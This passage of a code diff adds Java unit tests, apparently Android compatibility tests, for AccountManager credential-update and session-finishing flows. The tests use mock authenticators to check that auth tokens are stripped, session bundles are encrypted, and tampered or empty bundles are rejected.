+        assertNull(resultBundle.getString(AccountManager.KEY_PASSWORD));
+        assertEquals(ACCOUNT_STATUS_TOKEN,
+                resultBundle.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession() with empty session bundle. An encrypted
+     * session bundle, account password and status token should be included in
+     * the result as session bundle is not inspected.
+     */
+    public void testStartUpdateCredentialsSessionWithEmptySessionBundle()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        Bundle options = new Bundle();
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE, new Bundle());
+        options.putAll(OPTIONS_BUNDLE);
+
+        Bundle resultBundle = startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartUpdateCredentialsSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession with authenticator activity started. When
+     * Activity is provided, AccountManager would start the resolution Intent
+     * and return the final result which contains an encrypted session bundle,
+     * account password and status token.
+     */
+    public void testStartUpdateCredentialsSessionIntervene()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        Bundle resultBundle = startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                mActivity,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartUpdateCredentialsSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession with KEY_INTENT returned but not
+     * started automatically. When no Activity is provided and authenticator requires
+     * additional data from user, KEY_INTENT will be returned by AccountManager.
+     */
+    public void testStartUpdateCredentialsSessionWithReturnIntent()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        Bundle resultBundle = startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        validateStartUpdateCredentialsSessionParametersAndOptions(accountName, options);
+
+        // Assert returned result
+        Intent returnIntent = resultBundle.getParcelable(AccountManager.KEY_INTENT);
+        // Assert that KEY_INTENT is returned.
+        assertNotNull(returnIntent);
+        assertNotNull(returnIntent.getParcelableExtra(Fixtures.KEY_RESULT));
+        // Assert that no other data is returned.
+        assertNull(resultBundle.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
+        assertNull(resultBundle.getString(AccountManager.KEY_PASSWORD));
+        assertNull(resultBundle.getString(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE));
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession error case. AuthenticatorException is
+     * expected when authenticator return
+     * {@link AccountManager#ERROR_CODE_INVALID_RESPONSE} error code.
+     */
+    public void testStartUpdateCredentialsSessionError()
+            throws IOException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_ERROR + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountNameAndError(accountName);
+
+        try {
+            startUpdateCredentialsSession(
+                    am,
+                    ACCOUNT,
+                    AUTH_TOKEN_TYPE,
+                    options,
+                    null /* activity */,
+                    null /* callback */,
+                    null /* handler */);
+            fail("startUpdateCredentialsSession should throw AuthenticatorException in error.");
+        } catch (AuthenticatorException e) {
+        }
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession() with callback and handler. An encrypted
+     * session bundle, account password and status token should be included in
+     * the result. Callback should be triggered with the result regardless of a
+     * handler is provided or not.
+     */
+    public void testStartUpdateCredentialsSessionWithCallbackAndHandler()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testStartUpdateCredentialsSessionWithCallbackAndHandler(null /* handler */);
+        testStartUpdateCredentialsSessionWithCallbackAndHandler(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession() with callback and handler and
+     * activity started. When Activity is provided, AccountManager would start the
+     * resolution Intent and return the final result which contains an encrypted
+     * session bundle, account password and status token. Callback should be
+     * triggered with the result regardless of a handler is provided or not.
+     */
+    public void testStartUpdateCredentialsSessionWithCallbackAndHandlerWithIntervene()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testStartUpdateCredentialsSessionWithCallbackAndHandlerWithIntervene(null /* handler */);
+        testStartUpdateCredentialsSessionWithCallbackAndHandlerWithIntervene(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession() with callback and handler with
+     * KEY_INTENT returned. When no Activity is provided and authenticator requires
+     * additional data from user, KEY_INTENT will be returned by AccountManager
+     * in callback regardless of a handler is provided or not.
+     */
+    public void testStartUpdateCredentialsSessionWithCallbackAndHandlerWithReturnIntent()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        testStartUpdateCredentialsSessionWithCallbackAndHandlerWithReturnIntent(null /* handler */);
+        testStartUpdateCredentialsSessionWithCallbackAndHandlerWithReturnIntent(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    /**
+     * Tests startUpdateCredentialsSession() error case with callback and
+     * handler. AuthenticatorException is expected when authenticator return
+     * {@link AccountManager#ERROR_CODE_INVALID_RESPONSE} error code.
+     */
+    public void testStartUpdateCredentialsSessionErrorWithCallbackAndHandler()
+            throws IOException, OperationCanceledException {
+        testStartUpdateCredentialsSessionErrorWithCallbackAndHandler(null /* handler */);
+        testStartUpdateCredentialsSessionErrorWithCallbackAndHandler(
+                new Handler(Looper.getMainLooper()));
+    }
+
+    private void testStartUpdateCredentialsSessionWithCallbackAndHandler(Handler handler)
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountName(accountName);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                Bundle resultBundle = getResultExpectNoException(bundleFuture);
+
+                validateStartUpdateCredentialsSessionParametersAndOptions(accountName, options);
+
+                // Assert returned result
+                // Assert that auth token was stripped.
+                assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+                validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+
+                latch.countDown();
+            }
+        };
+
+        startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                mActivity,
+                callback,
+                handler);
+
+        waitForLatch(latch);
+    }
+
+    private void testStartUpdateCredentialsSessionWithCallbackAndHandlerWithIntervene(
+            Handler handler)
+                    throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountName(accountName);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                Bundle resultBundle = getResultExpectNoException(bundleFuture);
+
+                validateStartUpdateCredentialsSessionParametersAndOptions(accountName, options);
+
+                // Assert returned result
+                assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+                // Assert that auth token was stripped.
+                assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+                validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+
+                latch.countDown();
+            }
+        };
+
+        startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                mActivity,
+                callback,
+                handler);
+
+        waitForLatch(latch);
+    }
+
+    private void testStartUpdateCredentialsSessionWithCallbackAndHandlerWithReturnIntent(
+            Handler handler)
+                    throws IOException, AuthenticatorException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@"
+                + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountName(accountName);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                Bundle resultBundle = getResultExpectNoException(bundleFuture);
+
+                validateStartUpdateCredentialsSessionParametersAndOptions(accountName, options);
+
+                // Assert returned result
+                Intent returnIntent = resultBundle.getParcelable(AccountManager.KEY_INTENT);
+                // Assert KEY_INTENT is returned.
+                assertNotNull(returnIntent);
+                assertNotNull(returnIntent.getParcelableExtra(Fixtures.KEY_RESULT));
+                // Assert that no other data is returned.
+                assertNull(resultBundle.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
+                assertNull(resultBundle.getString(AccountManager.KEY_PASSWORD));
+                assertNull(resultBundle.getString(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE));
+                assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+
+                latch.countDown();
+            }
+        };
+
+        startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                null,
+                callback,
+                handler);
+
+        waitForLatch(latch);
+    }
+
+    private void testStartUpdateCredentialsSessionErrorWithCallbackAndHandler(Handler handler)
+            throws IOException, OperationCanceledException {
+        final String accountName = Fixtures.PREFIX_NAME_ERROR + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        final Bundle options = createOptionsWithAccountNameAndError(accountName);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+
+        AccountManagerCallback<Bundle> callback = new AccountManagerCallback<Bundle>() {
+            @Override
+            public void run(AccountManagerFuture<Bundle> bundleFuture) {
+                try {
+                    bundleFuture.getResult();
+                    fail("should have thrown an AuthenticatorException");
+                } catch (OperationCanceledException e) {
+                    fail("should not throw an OperationCanceledException");
+                } catch (IOException e) {
+                    fail("should not throw an IOException");
+                } catch (AuthenticatorException e) {
+                    latch.countDown();
+                }
+            }
+        };
+
+        try {
+            startUpdateCredentialsSession(
+                    am,
+                    ACCOUNT,
+                    AUTH_TOKEN_TYPE,
+                    options,
+                    mActivity,
+                    callback,
+                    handler);
+            // AuthenticatorException should be thrown when authenticator
+            // returns AccountManager.ERROR_CODE_INVALID_RESPONSE.
+            fail("should have thrown an AuthenticatorException");
+        } catch (AuthenticatorException e1) {
+        }
+
+        waitForLatch(latch);
+    }
+
+    private Bundle startUpdateCredentialsSession(AccountManager am,
+            Account account,
+            String authTokenType,
+            Bundle options,
+            Activity activity,
+            AccountManagerCallback<Bundle> callback,
+            Handler handler)
+                    throws IOException, AuthenticatorException, OperationCanceledException {
+
+        AccountManagerFuture<Bundle> futureBundle = am.startUpdateCredentialsSession(
+                account,
+                authTokenType,
+                options,
+                activity,
+                callback,
+                handler);
+
+        Bundle resultBundle = futureBundle.getResult();
+        assertTrue(futureBundle.isDone());
+        assertNotNull(resultBundle);
+
+        return resultBundle;
+    }
+
+    private Bundle startAddAccountSession(AccountManager am,
+            String accountType,
+            String authTokenType,
+            String[] requiredFeatures,
+            Bundle options,
+            Activity activity,
+            AccountManagerCallback<Bundle> callback,
+            Handler handler)
+                    throws IOException, AuthenticatorException, OperationCanceledException {
+
+        AccountManagerFuture<Bundle> futureBundle = am.startAddAccountSession(
+                accountType,
+                authTokenType,
+                requiredFeatures,
+                options,
+                activity,
+                callback,
+                handler);
+
+        Bundle resultBundle = futureBundle.getResult();
+        assertTrue(futureBundle.isDone());
+        assertNotNull(resultBundle);
+
+        return resultBundle;
+    }
+
+    private Bundle createOptionsWithAccountName(final String accountName) {
+        SESSION_BUNDLE.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        Bundle options = new Bundle();
+        options.putString(Fixtures.KEY_ACCOUNT_NAME, accountName);
+        options.putBundle(Fixtures.KEY_ACCOUNT_SESSION_BUNDLE, SESSION_BUNDLE);
+        options.putAll(OPTIONS_BUNDLE);
+        return options;
+    }
+
+    private Bundle createOptionsWithAccountNameAndError(final String accountName) {
+        Bundle options = createOptionsWithAccountName(accountName);
+        options.putInt(AccountManager.KEY_ERROR_CODE, AccountManager.ERROR_CODE_INVALID_RESPONSE);
+        options.putString(AccountManager.KEY_ERROR_MESSAGE, ERROR_MESSAGE);
+        return options;
+    }
+
+
+    private void validateStartAddAccountSessionParametersAndOptions(
+            String accountName, Bundle options) {
+        // Assert parameters has been passed correctly
+        validateAccountAndAuthTokenType();
+        validateFeatures();
+
+        // Validate options
+        validateOptions(options, mockAuthenticator.mOptionsStartAddAccountSession);
+        assertNotNull(mockAuthenticator.mOptionsStartAddAccountSession);
+        assertEquals(accountName, mockAuthenticator.mOptionsStartAddAccountSession
+                .getString(Fixtures.KEY_ACCOUNT_NAME));
+
+        validateSystemOptions(mockAuthenticator.mOptionsStartAddAccountSession);
+        validateOptions(null, mockAuthenticator.mOptionsUpdateCredentials);
+        validateOptions(null, mockAuthenticator.mOptionsConfirmCredentials);
+        validateOptions(null, mockAuthenticator.mOptionsGetAuthToken);
+        validateOptions(null, mockAuthenticator.mOptionsAddAccount);
+        validateOptions(null, mockAuthenticator.mOptionsStartUpdateCredentialsSession);
+        validateOptions(null, mockAuthenticator.mOptionsFinishSession);
+    }
+
+    private void validateStartUpdateCredentialsSessionParametersAndOptions(
+            String accountName, Bundle options) {
+        // Assert parameters has been passed correctly
+        assertEquals(AUTH_TOKEN_TYPE, mockAuthenticator.getAuthTokenType());
+        assertEquals(ACCOUNT, mockAuthenticator.mAccount);
+
+        // Validate options
+        validateOptions(options, mockAuthenticator.mOptionsStartUpdateCredentialsSession);
+        assertNotNull(mockAuthenticator.mOptionsStartUpdateCredentialsSession);
+        assertEquals(accountName, mockAuthenticator.mOptionsStartUpdateCredentialsSession
+                .getString(Fixtures.KEY_ACCOUNT_NAME));
+
+        // Validate system options
+        assertNotNull(mockAuthenticator.mOptionsStartUpdateCredentialsSession
+                .getString(AccountManager.KEY_ANDROID_PACKAGE_NAME));
+
+        validateOptions(null, mockAuthenticator.mOptionsUpdateCredentials);
+        validateOptions(null, mockAuthenticator.mOptionsConfirmCredentials);
+        validateOptions(null, mockAuthenticator.mOptionsGetAuthToken);
+        validateOptions(null, mockAuthenticator.mOptionsAddAccount);
+        validateOptions(null, mockAuthenticator.mOptionsStartAddAccountSession);
+        validateOptions(null, mockAuthenticator.mOptionsFinishSession);
+    }
+
+    private void validateIsCredentialsUpdateSuggestedParametersAndOptions(Account account) {
+        assertEquals(account, mockAuthenticator.getAccount());
+        assertEquals(ACCOUNT_STATUS_TOKEN, mockAuthenticator.getStatusToken());
+
+        validateOptions(null, mockAuthenticator.mOptionsUpdateCredentials);
+        validateOptions(null, mockAuthenticator.mOptionsConfirmCredentials);
+        validateOptions(null, mockAuthenticator.mOptionsGetAuthToken);
+        validateOptions(null, mockAuthenticator.mOptionsAddAccount);
+        validateOptions(null, mockAuthenticator.mOptionsStartUpdateCredentialsSession);
+        validateOptions(null, mockAuthenticator.mOptionsStartAddAccountSession);
+    }
+
+    private void validateSessionBundleAndPasswordAndStatusTokenResult(Bundle resultBundle) {
+        Bundle sessionBundle = resultBundle.getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+        assertNotNull(sessionBundle);
+        // Assert that session bundle is encrypted and hence data not visible.
+        assertNull(sessionBundle.getString(SESSION_DATA_NAME_1));
+        // Assert password is not returned since cts test is not signed with system key
+        assertNull(resultBundle.getString(AccountManager.KEY_PASSWORD));
+        assertEquals(ACCOUNT_STATUS_TOKEN,
+                resultBundle.getString(AccountManager.KEY_ACCOUNT_STATUS_TOKEN));
+    }
+
+    private Bundle getResultExpectNoException(AccountManagerFuture<Bundle> bundleFuture) {
+        try {
+            return bundleFuture.getResult();
+        } catch (OperationCanceledException e) {
+            fail("should not throw an OperationCanceledException");
+        } catch (IOException e) {
+            fail("should not throw an IOException");
+        } catch (AuthenticatorException e) {
+            fail("should not throw an AuthenticatorException");
+        }
+        return null;
+    }
+
+    /**
+     * Tests a basic finishSession() with session bundle created by
+     * startAddAccountSession(...). A bundle containing account name and account
+     * type is expected.
+     */
+    public void testFinishSessionWithStartAddAccountSession()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        resultBundle = finishSession(
+                am,
+                encryptedSessionBundle,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert parameters has been passed correctly
+        assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+        validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+        // Assert returned result containing account name, type but not auth token type.
+        validateAccountAndNoAuthTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests a basic finishSession() with session bundle created by
+     * startUpdateCredentialsSession(...). A bundle containing account name and account
+     * type is expected.
+     */
+    public void testFinishSessionWithStartUpdateCredentialsSession()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startUpdateCredentialsSession(...)
+        Bundle resultBundle = startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        resultBundle = finishSession(
+                am,
+                encryptedSessionBundle,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert parameters has been passed correctly
+        assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+        validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+        // Assert returned result containing account name, type but not auth token type.
+        validateAccountAndNoAuthTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests finishSession() with null session bundle. IllegalArgumentException
+     * is expected as session bundle cannot be null.
+     */
+    public void testFinishSessionWithNullSessionBundle()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        try {
+            finishSession(
+                    am,
+                    null /* sessionBundle */,
+                    null /* activity */,
+                    null /* callback */,
+                    null /* handler */);
+            fail("Should have thrown IllegalArgumentException when sessionBundle is null");
+        } catch (IllegalArgumentException e) {
+
+        }
+    }
+
+    /**
+     * Tests finishSession() with empty session bundle. IllegalArgumentException
+     * is expected as session bundle would always contain something if it was
+     * processed properly by AccountManagerService.
+     */
+    public void testFinishSessionWithEmptySessionBundle()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+
+        try {
+            finishSession(am,
+                    new Bundle(),
+                    null /* activity */,
+                    null /* callback */,
+                    null /* handler */);
+            fail("Should have thrown IllegalArgumentException when sessionBundle is empty");
+        } catch (IllegalArgumentException e) {
+
+        }
+    }
+
+    /**
+     * Tests finishSession() with sessionBundle not encrypted by the right key.
+     * AuthenticatorException is expected if AccountManagerService failed to
+     * decrypt the session bundle because of wrong key or crypto data was
+     * tampered.
+     */
+    public void testFinishSessionWithDecryptionError()
+            throws IOException, OperationCanceledException {
+        byte[] mac = new byte[] {
+                1, 1, 0, 0
+        };
+        byte[] cipher = new byte[] {
+                1, 0, 0, 1, 1
+        };
+        Bundle sessionBundle = new Bundle();
+        sessionBundle.putByteArray(KEY_MAC, mac);
+        sessionBundle.putByteArray(KEY_CIPHER, cipher);
+
+        try {
+            finishSession(am,
+                    sessionBundle,
+                    null /* activity */,
+                    null /* callback */,
+                    null /* handler */);
+            fail("Should have thrown AuthenticatorException when failed to decrypt sessionBundle");
+        } catch (AuthenticatorException e) {
+
+        }
+    }
+
+    /**
+     * Tests finishSession() with sessionBundle invalid contents.
+     * AuthenticatorException is expected if AccountManagerService failed to
+     * decrypt the session bundle because of wrong key or crypto data was
+     * tampered.
+     */
+    public void testFinishSessionWithInvalidEncryptedContent()
+            throws IOException, OperationCanceledException {
+        byte[] mac = new byte[] {};
+        Bundle sessionBundle = new Bundle();
+        sessionBundle.putByteArray(KEY_MAC, mac);
+
+        try {
+            finishSession(am,
+                    sessionBundle,
+                    null /* activity */,
+                    null /* callback */,
+                    null /* handler */);
+            fail("Should have thrown AuthenticatorException when failed to decrypt sessionBundle");
+        } catch (AuthenticatorException e) {
+        }
+    }
+
+    /**
+     * Tests a finishSession() when account type is not added to session bundle
+     * by startAddAccount(...) of authenticator. A bundle containing account
+     * name and account type should still be returned as AccountManagerSerivce
+     * will always add account type to the session bundle before encrypting it.
+     */
+    public void testFinishSessionFromStartAddAccountWithoutAccountType()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        // Create a session bundle without account type for MockAccountAuthenticator to return
+        SESSION_BUNDLE.remove(AccountManager.KEY_ACCOUNT_TYPE);
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        resultBundle = finishSession(
+                am,
+                encryptedSessionBundle,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert parameters has been passed correctly
+        assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+
+        validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+        // Assert returned result containing account name, type but not auth token type.
+        validateAccountAndNoAuthTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests a finishSession() when account type is not added to session bundle
+     * by startUpdateCredentialsSession(...) of authenticator. A bundle
+     * containing account name and account type should still be returned as
+     * AccountManagerSerivce will always add account type to the session bundle
+     * before encrypting it.
+     */
+    public void testFinishSessionFromStartUpdateCredentialsSessionWithoutAccountType()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        // Create a session bundle without account type for MockAccountAuthenticator to return
+        SESSION_BUNDLE.remove(AccountManager.KEY_ACCOUNT_TYPE);
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        resultBundle = finishSession(
+                am,
+                encryptedSessionBundle,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert parameters has been passed correctly
+        assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+
+        validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+        // Assert returned result containing account name, type but not auth token type.
+        validateAccountAndNoAuthTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests a finishSession() when a different account type is added to session bundle
+     * by startAddAccount(...) of authenticator. A bundle containing account
+     * name and the correct account type should be returned as AccountManagerSerivce
+     * will always overrides account type to the session bundle before encrypting it.
+     */
+    public void testFinishSessionFromStartAddAccountAccountTypeOverriden()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        SESSION_BUNDLE.putString(AccountManager.KEY_ACCOUNT_TYPE, "randomAccountType");
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        resultBundle = finishSession(
+                am,
+                encryptedSessionBundle,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert parameters has been passed correctly
+        assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+
+        validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+        // Assert returned result containing account name, correct type but not auth token type.
+        validateAccountAndNoAuthTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests a finishSession() when a different account type is added to session bundle
+     * by startUpdateCredentialsSession(...) of authenticator. A bundle
+     * containing account name and the correct account type should be returned as
+     * AccountManagerSerivce will always override account type to the session bundle
+     * before encrypting it.
+     */
+    public void testFinishSessionFromStartUpdateCredentialsSessionAccountTypeOverriden()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_SUCCESS + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        // MockAccountAuthenticator to return
+        SESSION_BUNDLE.putString(AccountManager.KEY_ACCOUNT_TYPE, "randomAccountType");
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startUpdateCredentialsSession(
+                am,
+                ACCOUNT,
+                AUTH_TOKEN_TYPE,
+                options,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        // Assert that auth token was stripped.
+        assertNull(resultBundle.get(AccountManager.KEY_AUTHTOKEN));
+        validateSessionBundleAndPasswordAndStatusTokenResult(resultBundle);
+        Bundle encryptedSessionBundle = resultBundle
+                .getBundle(AccountManager.KEY_ACCOUNT_SESSION_BUNDLE);
+
+        resultBundle = finishSession(
+                am,
+                encryptedSessionBundle,
+                null /* activity */,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert parameters has been passed correctly
+        assertEquals(ACCOUNT_TYPE, mockAuthenticator.getAccountType());
+
+        validateFinishSessionOptions(accountName, SESSION_BUNDLE);
+
+        // Assert returned result containing account name, correct type but not auth token type.
+        validateAccountAndNoAuthTokenResult(resultBundle);
+    }
+
+    /**
+     * Tests finishSession with authenticator activity started. When additional
+     * info is needed from user for finishing the session and an Activity was
+     * provided by caller, the resolution intent will be started automatically.
+     * A bundle containing account name and type will be returned.
+     */
+    public void testFinishSessionIntervene()
+            throws IOException, AuthenticatorException, OperationCanceledException {
+        String accountName = Fixtures.PREFIX_NAME_INTERVENE + "@" + Fixtures.SUFFIX_NAME_FIXTURE;
+        Bundle options = createOptionsWithAccountName(accountName);
+
+        // First get an encrypted session bundle from startAddAccountSession(...)
+        Bundle resultBundle = startAddAccountSession(
+                am,
+                ACCOUNT_TYPE,
+                AUTH_TOKEN_TYPE,
+                REQUIRED_FEATURES,
+                options,
+                mActivity,
+                null /* callback */,
+                null /* handler */);
+
+        // Assert returned result
+        assertNull(resultBundle.getParcelable(AccountManager.KEY_INTENT));
+        // Assert that auth token was stripped.
